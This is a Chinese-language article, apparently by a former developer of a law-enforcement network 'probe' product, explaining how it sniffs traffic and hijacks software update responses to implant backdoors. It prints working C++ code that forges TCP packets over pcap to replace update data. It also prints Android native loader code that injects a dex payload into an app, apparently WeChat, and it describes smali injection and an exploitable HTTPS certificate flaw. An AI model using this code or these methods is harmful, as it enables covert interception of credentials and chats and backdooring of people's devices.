本人才疏学浅,文笔不通。
鄙人前几年的工作中曾经接触过临侦(针)和探侦(针)系统,这是一款面向司法机关的取证工具。
该产品大约有2个功能。第一个是网络数据统计分析。主要是分析小到一个主机,大到整个辖区上的主机,其网络活动所产生的信息,一般是应用程序指纹,比如主机名、IP和mac地址,浏览器和客户浏览点击的网页地址、网页app的账号密码以及cookie和登录信息、电子邮件、即时通信软件的聊天记录,图片头像等、客户端使用哪些软件在上网等,通过数据库存储和关键字搜索等,对全部数据进行智能分析和综合展示,形成网络安全事态感知能力。整个功能逻辑比较简单,其架构基础是:对整个网络数据进行监听。
第二个功能就是,对客户端的网络通信进行监听并修改数据包的内容(一般是更细客户端app的更新数据包),引导客户端下载执行后门程序,实现对目标的网络取证工作。这个功能一直以来都是探针系统的核心功能,它的植入能力代表探针的核心技术水平。这个功能的原理是,监听网络上的数据包,对符合攻击要求的数据包进行伪造修改(比如监听到某个软件的客户端发给服务器的查询版本和升级的数据包,然后修改包中的版本号和下载地址、MD5校验值等,诱导客户端下载执行)。由于IPV4的验证机制都是公开透明的,伪造的数据包只要符合IPV4和tcp协议的格式和校验,其中的数据只要能被app程序接受和识别,就可以达到攻击的效果。
若可以修改服务器返回数据包中的版本号,url和md5等信息,就可以诱导客户端下载执行带有后门程序的更新包。
该功能的数据包替换的核心代码如下:
#ifndef REPLACEPACKET_H_H_H
#define REPLACEPACKET_H_H_H
#include "include\\pcap.h"
#include "include\\pcap\\pcap.h"
#include "Packet.h"
#define MAX_PACKET_PAYLOAD 1400
#define SENDPACKET_LOG_FILENAME "sendpacket.log"
class AttackPacket {
public:
static int ReplacePacket(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize,
char * ip, int type, LPPPPOEHEADER pppoe);
static int ReplaceIPV6Packet(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize,
char * ip, int type, LPPPPOEHEADER pppoe);
};
#endif
#include "include\\pcap.h"
#include "include\\pcap\\pcap.h"
#include
#include "attacker.h"
#include "Packet.h"
#include "utils/checksum.h"
#include "ReplacePacket.h"
#include "Public.h"
int AttackPacket::ReplacePacket(pcap_t * pcapT,const char * lppacket,int packetsize,const char * lpsenddata,int sendsize,
char * ip,int type,LPPPPOEHEADER pppoe){
if (sendsize <= 0 || lppacket == 0 || lpsenddata == 0 )
{
printf("ReplacePacket packet address:%p,packet size:%u,send data:%p,send size:%u error\r\n",
lppacket,packetsize,lpsenddata,sendsize);
return FALSE;
}else if (type == 2)
{
int ret = ReplaceIPV6Packet(pcapT, lppacket, packetsize, lpsenddata, sendsize, ip, type, pppoe);
return ret;
}
LPMACHEADER lpMacHdr = (LPMACHEADER)lppacket;
LPIPHEADER lpIPHdr = (LPIPHEADER)ip;
int iIpHdrLen = lpIPHdr->HeaderSize << 2;
LPTCPHEADER lpTcpHdr = (LPTCPHEADER)((char*)lpIPHdr + iIpHdrLen);
int iTcpHdrLen = lpTcpHdr->HeaderSize << 2;
const char * lpData = (char*)lpTcpHdr + iTcpHdrLen;
int oldPayloadSize = packetsize - ((char*)lpData - lppacket);
unsigned char lpnewpack[MAX_SINGLE_PACKET_SIZE];
LPPPPOEHEADER newpppoe = 0;
if (pppoe)
{
newpppoe = (LPPPPOEHEADER)((char*)pppoe - lppacket + lpnewpack);
}
int ipoffset = ip - lppacket;
memcpy(lpnewpack, lppacket, ipoffset);
LPMACHEADER lpNewMacHdr = (LPMACHEADER)lpnewpack;
for (int i = 0; i < MAC_ADDRESS_SIZE; i++)
{
lpNewMacHdr->SrcMAC[i] = lpMacHdr->DstMAC[i];
lpNewMacHdr->DstMAC[i] = lpMacHdr->SrcMAC[i];
}
lpNewMacHdr->Protocol = lpMacHdr->Protocol;
LPIPHEADER lpNewIPHdr = (LPIPHEADER)(lpnewpack + ipoffset);
memcpy((char*)lpNewIPHdr,(char*)lpIPHdr,iIpHdrLen);
lpNewIPHdr->DstIP = lpIPHdr->SrcIP;
lpNewIPHdr->SrcIP = lpIPHdr->DstIP;
lpNewIPHdr->TimeToLive = 0x3f;
LPTCPHEADER lpNewTcpHdr = (LPTCPHEADER)((char*)lpNewIPHdr + iIpHdrLen);
memcpy(lpNewTcpHdr,lpTcpHdr,iTcpHdrLen);
lpNewTcpHdr->SrcPort = lpTcpHdr->DstPort;
lpNewTcpHdr->DstPort = lpTcpHdr->SrcPort;
lpNewTcpHdr->AckNum = ntohl(ntohl(lpTcpHdr->SeqNum) + oldPayloadSize);
lpNewTcpHdr->SeqNum = lpTcpHdr->AckNum;
char * lpnewdata = (char*)lpNewTcpHdr + iTcpHdrLen;
int senddatasize = 0;
DWORD dwSendSeqNum = ntohl(lpNewTcpHdr->SeqNum);
if (lpNewMacHdr->Protocol == 0x0081)
{
//LPHEADER8021Q lpnew8021q = (LPHEADER8021Q)((char*)lpNewMacHdr + sizeof(MACHEADER));
//lpnew8021q->priority = 4;
}
int sendcnt = sendsize/MAX_PACKET_PAYLOAD;
int sendmod = sendsize%MAX_PACKET_PAYLOAD;
for (int i = 0; i < sendcnt; i ++)
{
if (pppoe)
{
//pppoe length include size of packetsize in pppoe
newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD + sizeof(WORD));
}
memcpy(lpnewdata,MAX_PACKET_PAYLOAD * i + lpsenddata,MAX_PACKET_PAYLOAD);
lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD);
lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1);
lpNewIPHdr->HeaderChksum = 0;
lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen);
lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
senddatasize += MAX_PACKET_PAYLOAD;
lpNewTcpHdr->ACK = 1;
lpNewTcpHdr->ECN_ECHO = 0;
lpNewTcpHdr->PacketChksum = 0;
lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr,
MAX_PACKET_PAYLOAD + iTcpHdrLen,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP);
int ret = pcap_sendpacket(pcapT,lpnewpack,MAX_PACKET_PAYLOAD + ipoffset + iIpHdrLen + iTcpHdrLen);
if (ret )
{
printf("ReplacePacket pcap_sendpacket error\r\n");
Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n");
Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize);
return FALSE;
}
}
if (sendmod)
{
if (pppoe)
{
newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + sendmod + sizeof(WORD));
}
memcpy(lpnewdata,sendcnt * MAX_PACKET_PAYLOAD + lpsenddata,sendmod);
lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen + sendmod);
lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1);
lpNewIPHdr->HeaderChksum = 0;
lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen);
lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
senddatasize += sendmod;
lpNewTcpHdr->ACK = 1;
lpNewTcpHdr->FIN = 0;
lpNewTcpHdr->ECN_ECHO = 0;
lpNewTcpHdr->PacketChksum = 0;
lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr,sendmod+iTcpHdrLen,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP);
int ret = pcap_sendpacket(pcapT,lpnewpack,sendmod + ipoffset + iIpHdrLen + iTcpHdrLen);
if (ret )
{
printf("ReplacePacket pcap_sendpacket error\r\n");
Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n");
Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize);
return FALSE;
}
}
// int padsize = 60 - (ip - lppacket) - iIpHdrLen - iTcpHdrLen;
// if (padsize > 0)
// {
// memset(lpnewdata, 0, padsize);
// }
lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1);
lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen);
lpNewIPHdr->HeaderChksum = 0;
lpNewIPHdr->HeaderChksum = Checksum::checksum((WORD*)lpNewIPHdr,iIpHdrLen);
lpNewTcpHdr->FIN = 1;
lpNewTcpHdr->ACK = 1;
lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
lpNewTcpHdr->PacketChksum = 0;
lpNewTcpHdr->PacketChksum = Checksum::subPackChecksum((char*)lpNewTcpHdr,iTcpHdrLen ,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP);
int ret = pcap_sendpacket(pcapT,lpnewpack, ipoffset + iIpHdrLen + iTcpHdrLen);
if (ret )
{
printf("ReplacePacket pcap_sendpacket error\r\n");
Public::WriteLogFile("ReplacePacket pcap_sendpacket error\r\n");
Public::WriteLogFile(SENDPACKET_LOG_FILENAME, lppacket, packetsize);
return FALSE;
}
return TRUE;
}
int AttackPacket::ReplaceIPV6Packet(pcap_t * pcapT, const char * lppacket, int packetsize, const char * lpsenddata, int sendsize,
char * ip, int type, LPPPPOEHEADER pppoe) {
LPMACHEADER lpMacHdr = (LPMACHEADER)lppacket;
LPIPV6HEADER lpIPHdr = (LPIPV6HEADER)ip;
int iIpHdrLen = sizeof(IPV6HEADER);
LPTCPHEADER lpTcpHdr = (LPTCPHEADER)((char*)lpIPHdr + iIpHdrLen);
int iTcpHdrLen = lpTcpHdr->HeaderSize << 2;
const char * lpData = (char*)lpTcpHdr + iTcpHdrLen;
int oldPayloadSize = packetsize - ((char*)lpData - lppacket);
unsigned char lpnewpack[MAX_SINGLE_PACKET_SIZE];
LPPPPOEHEADER newpppoe = 0;
if (pppoe)
{
newpppoe = (LPPPPOEHEADER)((char*)pppoe - lppacket + lpnewpack);
}
int ipoffset = ip - lppacket;
memcpy(lpnewpack, lppacket, ipoffset);
LPMACHEADER lpNewMacHdr = (LPMACHEADER)lpnewpack;
for (int i = 0; i < MAC_ADDRESS_SIZE; i++)
{
lpNewMacHdr->SrcMAC[i] = lpMacHdr->DstMAC[i];
lpNewMacHdr->DstMAC[i] = lpMacHdr->SrcMAC[i];
}
lpNewMacHdr->Protocol = lpMacHdr->Protocol;
LPIPV6HEADER lpNewIPHdr = (LPIPV6HEADER)(lpnewpack + ipoffset);
memcpy((char*)lpNewIPHdr, (char*)lpIPHdr, iIpHdrLen);
memcpy(lpNewIPHdr->DestAddress ,lpIPHdr->SourceAddress,IPV6_IP_SIZE);
memcpy(lpNewIPHdr->SourceAddress,lpIPHdr->DestAddress, IPV6_IP_SIZE);
LPTCPHEADER lpNewTcpHdr = (LPTCPHEADER)((char*)lpNewIPHdr + iIpHdrLen);
memcpy(lpNewTcpHdr, lpTcpHdr, iTcpHdrLen);
lpNewTcpHdr->SrcPort = lpTcpHdr->DstPort;
lpNewTcpHdr->DstPort = lpTcpHdr->SrcPort;
lpNewTcpHdr->AckNum = ntohl(ntohl(lpTcpHdr->SeqNum) + oldPayloadSize);
lpNewTcpHdr->SeqNum = lpTcpHdr->AckNum;
char * lpnewdata = (char*)lpNewTcpHdr + iTcpHdrLen;
int senddatasize = 0;
DWORD dwSendSeqNum = ntohl(lpNewTcpHdr->SeqNum);
if (lpNewMacHdr->Protocol == 0x0081)
{
//LPHEADER8021Q lpnew8021q = (LPHEADER8021Q)((char*)lpNewMacHdr + sizeof(MACHEADER));
//lpnew8021q->priority = 4;
}
int sendcnt = sendsize / MAX_PACKET_PAYLOAD;
int sendmod = sendsize%MAX_PACKET_PAYLOAD;
for (int i = 0; i < sendcnt; i++)
{
if (pppoe)
{
newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD + sizeof(WORD));
}
memcpy(lpnewdata, MAX_PACKET_PAYLOAD * i + lpsenddata, MAX_PACKET_PAYLOAD);
lpNewIPHdr->PayloadLen = ntohs(iIpHdrLen + iTcpHdrLen + MAX_PACKET_PAYLOAD);
lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
senddatasize += MAX_PACKET_PAYLOAD;
lpNewTcpHdr->ACK = 1;
lpNewTcpHdr->ECN_ECHO = 0;
lpNewTcpHdr->PacketChksum = 0;
lpNewTcpHdr->PacketChksum = Checksum::IPV6subPackCheckSum((char*)lpNewTcpHdr,
MAX_PACKET_PAYLOAD + iTcpHdrLen, lpNewIPHdr->SourceAddress, lpNewIPHdr->DestAddress,IPPROTO_TCP);
int ret = pcap_sendpacket(pcapT, lpnewpack, MAX_PACKET_PAYLOAD + ipoffset + iIpHdrLen + iTcpHdrLen);
if (ret)
{
printf("ReplaceIPV6Packet pcap_sendpacket error\r\n");
return FALSE;
}
}
if (sendmod)
{
if (pppoe)
{
newpppoe->len = ntohs(iIpHdrLen + iTcpHdrLen + sendmod + sizeof(WORD));
}
memcpy(lpnewdata, sendcnt * MAX_PACKET_PAYLOAD + lpsenddata, sendmod);
lpNewIPHdr->PayloadLen = ntohs(iIpHdrLen + iTcpHdrLen + sendmod);
lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
senddatasize += sendmod;
lpNewTcpHdr->ACK = 1;
lpNewTcpHdr->FIN = 0;
lpNewTcpHdr->ECN_ECHO = 0;
//lpNewTcpHdr->SeqNum = ntohl(ntohl(lpNewTcpHdr->SeqNum) + sendmod);
lpNewTcpHdr->PacketChksum = 0;
lpNewTcpHdr->PacketChksum = Checksum::IPV6subPackCheckSum((char*)lpNewTcpHdr, sendmod + iTcpHdrLen,
lpNewIPHdr->SourceAddress, lpNewIPHdr->DestAddress, IPPROTO_TCP);
int ret = pcap_sendpacket(pcapT, lpnewpack, sendmod + ipoffset + iIpHdrLen + iTcpHdrLen);
if (ret)
{
printf("ReplaceIPV6Packet pcap_sendpacket error\r\n");
return FALSE;
}
}
/*
int padsize = 60 - (ip - lppacket) - iIpHdrLen - iTcpHdrLen;
if (padsize > 0)
{
memset(lpnewdata, 0, padsize);
}
lpNewIPHdr->PacketID = ntohs(ntohs(lpNewIPHdr->PacketID)+1);
lpNewIPHdr->PacketSize = ntohs(iIpHdrLen + iTcpHdrLen);
lpNewIPHdr->HeaderChksum = 0;
lpNewIPHdr->HeaderChksum = CalcChecksum((WORD*)lpNewIPHdr,iIpHdrLen);
lpNewTcpHdr->FIN = 0;
lpNewTcpHdr->SeqNum = ntohl(dwSendSeqNum + senddatasize);
lpNewTcpHdr->PacketChksum = 0;
lpNewTcpHdr->PacketChksum = GetSubPacketCheckSum((char*)lpNewTcpHdr,iTcpHdrLen ,lpNewIPHdr->SrcIP,lpNewIPHdr->DstIP,IPPROTO_TCP);
int ret = pcap_sendpacket(pcapT,lpnewpack,sizeof(MACHEADER) + iIpHdrLen + iTcpHdrLen);
if (ret )
{
return FALSE;
}*/
return TRUE;
}
一般来说,更新包必然会包含可执行文件,在windows上一般是exe或者dll格式;在android中一般是jar、dex或者是so、二进制elf文件;ios不支持插件式更新而无法攻击。这些可执行代码在客户端的下载验证后一般会立即执行,因此这种方式高效且直接。我们可以用后门程序替换原来的模块,然后在新的代码中调用原来的程序,以完成主机正常的功能。如果不想这样做,直接用后门程序替换更新包中相应的可执行模块,一般也不会影响程序的运行。
以下是第一幅图中的更新包:
此时即可在jar包中插入代码,也可以在so中插入代码完成攻击。在jar包中时,可以将入口放在静态方法中,或者是主类的方法入口;此时需要用的工具是smali和baksmali,前者将jar包转化为smali汇编代码,将调用payload的smali代码插入后,用baksmali将smali代码转化为jar包。若是在so中执行攻击,可以在so中的JNI_OnLoad方法中利用发射机制加载dex文件,完成后门程序的加载运行。以下是在so中加载dex的代码:
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include "weixin.h"
#include "public.h"
using namespace std;
//char __aeabi_unwind_cpp_pr0[0];
#define NULL 0
#define size_t unsigned int
/*
编译器不会给这种函数增加初始化和清理代码,更特殊的是,你不能用return返回返回值,只能用插入汇编返回结果。
这一般用于实模式驱动程序设计,假设定义一个求和的加法程序,可以定义为:
__declspec(naked) int add(int a,int b)
{
__asm mov eax,a
__asm add eax,b
__asm ret
}
*/
string gPackageName = "";
soinfo * gOldSoinfo = 0; //old soinfo
string gLoadSoPath = ""; //app_xwalk_xxx
string gOldSoPath = ""; //xwalk_application
int gLoadedOK = 0; //load times
typedef int (*OLDFUNC)(void * a1,void*a2,void *a3,void *a4,void*a5,void*a6,void*a7,void*a8,void *a9,void*a10,void*a11,void *a12);
//我们需要了解gcc新引进的选项-fvisibility=hidden,这个编译选项可以把所有的符号名(包括函数名和全局变量名)都强制标记成隐藏属性。
//我们可以在Android.mk中可以通过修改LOCAL_CFLAGS选项加入-fvisibility=hidden来做到这一点
//源代码里出现的函数名和全局变量名(符号名)都变成了't',也就是说都是局部符号(类似于static)
//void__attribute__ ((visibility ("default")))Java_com_example_SanAngeles_DemoRenderer_nativeInit ( JNIEnv* env )
extern "C" int JniLoadJar(JNIEnv * env,JavaVM * jvm,const char * szCmdline){
int ret = 0;
char szout[PATH_MAX] = {0};
string defjarpath = string(TENCENTMM_DATA_PATH) + MYAPP_PATH_NAME + JAR_FILE_NAME;
string optjarpath = string(TENCENTMM_DATA_PATH) + "/cache/";
if(access(defjarpath.c_str(),F_OK) != 0){
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","access error:%s",defjarpath.c_str());
sprintf(szout,"get apk file:%s error\r\n",defjarpath.c_str());
Public::writeLogFile(szout);
return -1;
}else{
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","defaultjarpath:%s,optjarpath:%s",
defjarpath.c_str(),optjarpath.c_str());
}
jstring jstrdefjarpath = Public::char2Jstring(env,defjarpath.c_str(),(int)defjarpath.length());
jstring jstroptjarpath = Public::char2Jstring(env,optjarpath.c_str(),(int)optjarpath.length());
jstring jstrclassname = Public::char2Jstring(env,ENTRANCE_CLASSNAME,(int)strlen(ENTRANCE_CLASSNAME));
jstring jstrmethodname = Public::char2Jstring(env,ENTRANCE_METHODNAME,(int)strlen(ENTRANCE_METHODNAME));
jclass classloader = env->FindClass("java/lang/ClassLoader");
jmethodID getsysclassloader = env->GetStaticMethodID(classloader, "getSystemClassLoader","()Ljava/lang/ClassLoader;");
jobject loader = env->CallStaticObjectMethod(classloader,getsysclassloader);
jclass dexclassloader = env->FindClass("dalvik/system/DexClassLoader");
jmethodID dexclsldinit = env->GetMethodID(dexclassloader,"" ,
"(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/ClassLoader;)V");
jobject dexloader =env->NewObject(dexclassloader,dexclsldinit, jstrdefjarpath, jstroptjarpath, 0, loader);
jclass dexloaderclass = env->GetObjectClass(dexloader);
jmethodID findclass = env->GetMethodID(dexloaderclass,"loadClass", "(Ljava/lang/String;)Ljava/lang/Class;");
if(NULL==findclass){
findclass = env->GetMethodID(dexloaderclass,"findClass", "(Ljava/lang/String;)Ljava/lang/Class;");
}
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","ClassLoader:%x,getSystemClassLoader:%x,loader:%x,"
"DexClassLoader:%x,DexClassLoader init:%x,DexClassLoader class:%x,dexloaderclass:%x,findClass:%x",
(unsigned int)classloader,(unsigned int)getsysclassloader,(unsigned int)loader,
(unsigned int)dexclassloader,(unsigned int)dexclsldinit,(unsigned int)dexloader,
(unsigned int)dexloaderclass,(unsigned int)findclass);
jclass javaenterclass=(jclass)env->CallObjectMethod(dexloader,findclass,jstrclassname);
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","%s:%x",ENTRANCE_CLASSNAME,(unsigned int)javaenterclass);
jmethodID enterclassinit = env->GetMethodID(javaenterclass, "" , "()V");
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","enterclassinit:%x",(unsigned int)enterclassinit);
jobject enterclassobj = env->NewObject(javaenterclass,enterclassinit);
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","enterclassobj:%x",(unsigned int)enterclassobj);
jmethodID entermethodid = env->GetMethodID(javaenterclass, ENTRANCE_METHODNAME, "(Landroid/content/Context;)V");
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","entermethodid:%x",(unsigned int)entermethodid);
if(entermethodid){
jclass atclass = env->FindClass("android/app/ActivityThread");
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","atclass:%x",(unsigned int)atclass);
jmethodID catmid = env->GetStaticMethodID(atclass,"currentActivityThread","()Landroid/app/ActivityThread;");
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","catmid:%x",(unsigned int)catmid);
jobject catobj = env->CallStaticObjectMethod(atclass,catmid);
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","catobj:%x",(unsigned int)catobj);
jmethodID getappmid = env->GetMethodID(atclass, "getApplication", "()Landroid/app/Application;");
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","getappmid:%x",(unsigned int)getappmid);
jobject contextobj = env->CallObjectMethod(catobj, getappmid);
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","contextobj:%x",(unsigned int)contextobj);
env->CallVoidMethod(enterclassobj, entermethodid, contextobj);
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","apk or jar loaded ok");
Public::writeLogFile("apk or jar loaded ok\r\n",szCmdline);
gLoadedOK ++;
return 0;
}else{
__android_log_print(ANDROID_LOG_ERROR,"JniLoadJar","entermethodid not found");
return -1;
}
Public::writeLogFile("apk or jar loaded error\r\n",szCmdline);
return -1;
}
JNIEnv * getEnv(JavaVM * javavm,bool &bAttached){
int ret = 0;
JNIEnv *env = NULL;
if (javavm != NULL){
ret = javavm->GetEnv((void**) &env, DEFAULT_JNI_VERSION);
if (ret < 0){
__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM GetEnv error");
Public::writeLogFile("JavaVM GetEnv error\r\n");
//Attaches the current thread to a Java (Dalvik) VM.
//A thread must be attached to the VM before any other JNI calls can be made.
//Returns 0 on success; returns a negative number on failure.
ret = javavm->AttachCurrentThread(&env, NULL);
if (ret < 0)
{
Public::writeLogFile("JavaVM AttachCurrentThread error\r\n");
__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM AttachCurrentThread error");
return 0;
}else{
bAttached = true;
Public::writeLogFile("JavaVM AttachCurrentThread ok\r\n");
__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM AttachCurrentThread ok");
}
}
return env;
}else{
__android_log_print(ANDROID_LOG_ERROR,"getEnv","JavaVM NULL");
Public::writeLogFile("JavaVM NULL\r\n");
}
return 0;
}
//dlopen do not call JNI_OnLoad,but System.load or System.loadLibrary will do
extern "C" JNIEXPORT jint JNICALL JNI_OnLoad(JavaVM* javavm, void* reserved){
int ret = 0;
int retJniVersion = DEFAULT_JNI_VERSION;
char szout[1024];
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","start");
bool bAttached = false;
JNIEnv * env = getEnv(javavm,bAttached);
if(env > 0){
if(gLoadedOK <= 2){
ret = JniLoadJar(env,javavm,PACKAGE_NAME);
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","start for first time");
Public::writeLogFile("JNI_OnLoad start for first time\r\n");
}else{
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","so had been already loaded for times:%u",gLoadedOK);
sprintf(szout,"so had been already loaded for times:%u\r\n",gLoadedOK);
Public::writeLogFile(szout);
}
}else{
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","JavaVM GetEnv error");
Public::writeLogFile("JavaVM GetEnv error\r\n");
}
if(gOldSoPath == ""){
gOldSoPath = Weixin::getSoPathName();
}
if(gOldSoinfo <= 0){
gOldSoinfo = (soinfo*)dlopen(gOldSoPath.c_str(),RTLD_LAZY|RTLD_GLOBAL);
}
if(gOldSoinfo > 0){
typedef jint (JNICALL*ptrJNI_OnLoad)(JavaVM* javavm, void* reserved);
ptrJNI_OnLoad lpJNI_OnLoad = (ptrJNI_OnLoad)dlsym(gOldSoinfo,"JNI_OnLoad");
if(lpJNI_OnLoad){
retJniVersion = (lpJNI_OnLoad)(javavm,reserved);
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","get JNI_OnLoad in old.so ok and run it");
Public::writeLogFile("get JNI_OnLoad in old.so ok and run it\r\n");
}else{
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","dlsym JNI_OnLoad in old.so error");
Public::writeLogFile("JNI_OnLoad dlsym JNI_OnLoad in old.so error\r\n");
}
}else{
Public::writeLogFile("JNI_OnLoad dlopen old.so error\r\n");
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","dlopen old.so error");
}
if(bAttached == true){
javavm->DetachCurrentThread();
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnLoad","JavaVM DetachCurrentThread");
Public::writeLogFile("JNI_OnLoad JavaVM DetachCurrentThread\r\n");
}
return retJniVersion;
}
extern "C" JNIEXPORT void JNICALL JNI_OnUnload(JavaVM* javavm, void* reserved){
__android_log_print(ANDROID_LOG_ERROR,"JNI_OnUnload","JNI_OnUnload");
printf("JNI_OnUnload\r\n");
Public::writeLogFile("JNI_OnUnload\r\n");
return;
}
//System.loadLibrary call dlopen->init or initarray,call JNI_OnLoad everytime
void __attribute__ ((constructor)) SO_Load(void){
__android_log_print(ANDROID_LOG_ERROR,"SO_Load","SO_Load");
printf("SO_Load\r\n");
int androidver = Public::getAndroidVersion();
printf("android version:%u\r\n",androidver);
gPackageName = Public::getPackageName();
//gLoadSoPath = get the biggest number of version path with app_xwalk_xxx
gOldSoinfo = Weixin::prepareFiles(gLoadSoPath);
Weixin::checkTestApk();
__android_log_print(ANDROID_LOG_ERROR,"SO_Load","get so path:%s,soinfo:%p\r\n",gLoadSoPath.c_str(),gOldSoinfo);
char szout[1024];
sprintf(szout,"SO_Load android version:%u,package name:%s,update path:%s,old so loaded:%x\r\n",
androidver,gPackageName.c_str(),gLoadSoPath.c_str(),gOldSoinfo);
Public::writeLogFile(szout);
return;
}
void __attribute__ ((destructor)) SO_Unload(void){
__android_log_print(ANDROID_LOG_ERROR,"SO_Unload","SO_Unload");
printf("SO_Unload\r\n");
Public::writeLogFile("SO_Unload\r\n");
if(gOldSoinfo > 0){
dlclose(gOldSoinfo);
}
return;
}
int myoldfuncEntry(string funcname,void *a1,void *a2,void *a3,void *a4,void *a5,void *a6,void *a7,void *a8,void *a9,void*a10,void*a11,void *a12){
char szout[1024];
if(gOldSoinfo <= 0){
if(gOldSoPath == ""){
gOldSoPath = Weixin::getSoPathName();
}
gOldSoinfo = (soinfo*)dlopen(gOldSoPath.c_str(),RTLD_LAZY|RTLD_GLOBAL);
if(gOldSoinfo <= 0){
Public::writeLogFile("dlopen old so error\r\n");
return 0;
}
}
OLDFUNC oldfun = (OLDFUNC)dlsym(gOldSoinfo,funcname.c_str());
if(oldfun){
return oldfun( a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12);
}
sprintf(szout,"dlsym:%s error\r\n",funcname.c_str());
Public::writeLogFile(szout);
return 0;
}
extern "C" void* JNICALL test_so_param(void *a1,void *a2,void *a3,void *a4,void *a5,void *a6,void *a7,void *a8,void *a9,void*a10,void*a11,void *a12){
void * handle = dlopen("./libold.so",RTLD_LAZY|RTLD_GLOBAL);
if(handle){
OLDFUNC oldfun = (OLDFUNC)dlsym(handle,"test_so_param");
if(oldfun){
__android_log_print(ANDROID_LOG_ERROR,"test","dlsym ok");
void * ret = (void*)oldfun( a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12);
return ret;
}
}
return 0;
}
有时候,更新包是加密的,那么就需要逆向app,找到解密的方法,以便构造正确的数据包完成攻击。例如以下更新模块的crc32字段,刚开始我以为是整个文件的crc32值,但是后来逆向发现,该值是文件前1024字节的crc32值。正是因为这些特点,所以本主题才属于网络安全的内容范畴。
有些时候,双方数据包是用https通信的,这种情况下一般无解。但是在2020年之后,某知名app就曾有过漏洞,其私有网络协议使用第三方https中间件完成安全套接字通信,但是在校验证书时存在某些漏洞,其结果是判定带有某些二级域名的证书都是合法的数字证书,可以跟服务器建立安全连接。此种情况下,我们可以通过申请一个正规的带有此种特征的域名证书,就可以劫持客户端和服务器的通信,以便完成攻击。该漏洞是我们通过攻击测试发现的,后来在逆向java代码时得以确认,但是在提交给官方时,该公司并不承认这是一个漏洞。此程序的https更新包脱出来的原文如下: